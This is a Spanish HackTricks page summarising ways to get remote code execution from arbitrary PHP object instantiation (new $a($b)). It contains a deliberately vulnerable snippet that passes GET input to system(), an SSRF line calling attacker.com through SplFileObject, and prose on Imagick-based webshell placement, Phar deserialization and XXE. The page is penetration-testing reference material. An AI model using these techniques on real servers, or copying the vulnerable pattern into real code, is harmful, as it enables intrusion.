# PHP - RCE abusando de la creaci贸n de objetos: new $\_GET\["a"]\($\_GET\["b"])
{% hint style="success" %}
Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks
* Revisa los [**planes de suscripci贸n**](https://github.com/sponsors/carlospolop)!
* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %}
Este es b谩sicamente un resumen de [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Introducci贸n
La creaci贸n de nuevos objetos arbitrarios, como `new $_GET["a"]($_GET["a"])`, puede llevar a la Ejecuci贸n Remota de C贸digo (RCE), como se detalla en un [**escrito**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca varias estrategias para lograr RCE.
## RCE a trav茅s de Clases Personalizadas o Autocarga
La sintaxis `new $a($b)` se utiliza para instanciar un objeto donde **`$a`** representa el nombre de la clase y **`$b`** es el primer argumento pasado al constructor. Estas variables pueden provenir de entradas de usuario como GET/POST, donde pueden ser cadenas o arreglos, o de JSON, donde pueden presentarse como otros tipos.
Considera el siguiente fragmento de c贸digo:
```php
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
En este caso, establecer `$a` en `App` o `App2` y `$b` en un comando del sistema (por ejemplo, `uname -a`) resulta en la ejecuci贸n de ese comando.
**Las funciones de autoloading** pueden ser explotadas si no hay tales clases accesibles directamente. Estas funciones cargan autom谩ticamente clases desde archivos cuando se necesitan y se definen utilizando `spl_autoload_register` o `__autoload`:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
```
El comportamiento de la carga autom谩tica var铆a con las versiones de PHP, ofreciendo diferentes posibilidades de RCE.
## RCE a trav茅s de Clases Incorporadas
Al carecer de clases personalizadas o cargadores autom谩ticos, **las clases incorporadas de PHP** pueden ser suficientes para RCE. El n煤mero de estas clases var铆a entre 100 y 200, seg煤n la versi贸n de PHP y las extensiones. Se pueden listar utilizando `get_declared_classes()`.
Los constructores de inter茅s se pueden identificar a trav茅s de la API de reflexi贸n, como se muestra en el siguiente ejemplo y el enlace [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE a trav茅s de m茅todos espec铆ficos incluye:**
### **SSRF + Deserializaci贸n de Phar**
La clase `SplFileObject` permite SSRF a trav茅s de su constructor, permitiendo conexiones a cualquier URL:
```php
new SplFileObject('http://attacker.com/');
```
SSRF puede llevar a ataques de deserializaci贸n en versiones de PHP anteriores a 8.0 utilizando el protocolo Phar.
### **Explotando PDOs**
El constructor de la clase PDO permite conexiones a bases de datos a trav茅s de cadenas DSN, lo que potencialmente habilita la creaci贸n de archivos u otras interacciones:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Las versiones de PHP hasta 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a trav茅s de los constructores `SoapClient` y `SimpleXMLElement`, dependiendo de la versi贸n de libxml2.
## RCE a trav茅s de la extensi贸n Imagick
En el an谩lisis de las **dependencias del proyecto**, se descubri贸 que **Imagick** podr铆a ser aprovechado para **ejecuci贸n de comandos** al instanciar nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades.
### Analizador VID
Se identific贸 la capacidad del analizador VID de escribir contenido en cualquier ruta especificada en el sistema de archivos. Esto podr铆a llevar a la colocaci贸n de un shell PHP en un directorio accesible por la web, logrando Ejecuci贸n Remota de C贸digo (RCE).
#### Analizador VID + Carga de Archivos
Se observa que PHP almacena temporalmente los archivos subidos en `/tmp/phpXXXXXX`. El analizador VID en Imagick, utilizando el protocolo **msl**, puede manejar comodines en las rutas de archivos, facilitando la transferencia del archivo temporal a una ubicaci贸n elegida. Este m茅todo ofrece un enfoque adicional para lograr escritura arbitraria de archivos dentro del sistema de archivos.
### Ca铆da de PHP + Fuerza Bruta
Un m茅todo descrito en el [**escrito original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) implica subir archivos que provocan una ca铆da del servidor antes de su eliminaci贸n. Al forzar el nombre del archivo temporal, se vuelve posible que Imagick ejecute c贸digo PHP arbitrario. Sin embargo, se encontr贸 que esta t茅cnica solo era efectiva en una versi贸n desactualizada de ImageMagick.
## Referencias
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}